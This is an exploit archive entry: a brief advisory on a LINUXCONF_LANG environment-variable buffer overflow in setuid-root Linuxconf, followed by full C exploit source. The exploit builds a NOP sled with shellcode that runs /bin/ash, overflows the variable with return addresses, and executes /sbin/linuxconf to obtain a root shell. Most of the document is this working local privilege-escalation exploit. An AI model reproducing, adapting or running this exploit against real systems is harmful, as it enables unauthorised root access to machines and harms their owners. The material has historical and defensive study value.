Linuxconf 1.1.x / 1.2.x - Local Environment Variable Buffer Overflow Vulnerability (2)



source: http://www.securityfocus.com/bid/5585/info

 
Linuxconf is a Linux configuration utility from Solucorp. It is typically installed as a setuid root utility for the management and configuration of Linux operating systems.
 
A buffer overflow vulnerability has been reported for Linuxconf. The vulnerability is due to insufficent bounds checking of the LINUXCONF_LANG environment variable. An attacker who sets the LINUXCONF_LANG environment variable with an overly large string will be able to cause the buffer overflow condition. 

/*
 * This is an exploit for the linuxconf overflow issue.
 *
 * The detail of this hole was published on 08.28.2002 by
 * David Endler from www.idefense.com. 
 *
 * Tested to work on Redhat 7.0 with linuxconf 1.25r3.
 * [The magic numbers that worked for me are: 980 500 2048 1]
 *
 * This is a classical example of stack smashing. Large portion 
 * of code were ripped from Aleph1's. So, credits due to him.
 *
 * Flame or comment goes to: jinyean@hotmail.com 
 *
 */

#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_ALIGN        0
#define DEFAULT_OFFSET        0
#define DEFAULT_BUFFER_SIZE    980
#define DEFAULT_EGG_SIZE    2048
#define NOP            0x90

char shellcode[]=
        "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89"
        "\x46\x0d\xb0\x0b\x89\xf3\x8d\x4e\x09\x8d\x56\x0d"
        "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
        "\xff\xff/bin/ash";


unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
}

main(int argc, char *argv[]) {
    char *buff, *ptr, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i, eggsize=DEFAULT_EGG_SIZE, align=DEFAULT_ALIGN;

    if (argc>1) bsize=atoi(argv[1]);
    if (argc>2) offset=atoi(argv[2]);
    if (argc>3) eggsize=atoi(argv[3]);
    if (argc>4) align=atoi(argv[4]);

    if (!(buff=malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
    }
    if (!(egg=malloc(eggsize))) {
        printf("Can't allocate memory.\n");
            exit(0);
    }

    addr=get_esp()-offset;
    printf("Using address: 0x%x\n",addr);

        ptr=buff;
    addr_ptr=(long *)(ptr+align);

    for (i=0; i<bsize; i+=4) 
        *(addr_ptr++)=addr;

    ptr=egg;

    for (i=0; i<eggsize-strlen(shellcode)-1; i++)
        *(ptr++)=NOP;

    for (i=0; i<strlen(shellcode); i++)
        *(ptr++)=shellcode[i];

    buff[bsize-1]='\0';
    egg[eggsize-1]='\0';

    memcpy(egg,"EGG=",4);
    putenv(egg);
    memcpy(buff,"LINUXCONF_LANG=",15);
    putenv(buff);
    execl("/sbin/linuxconf","linuxconf",NULL);

}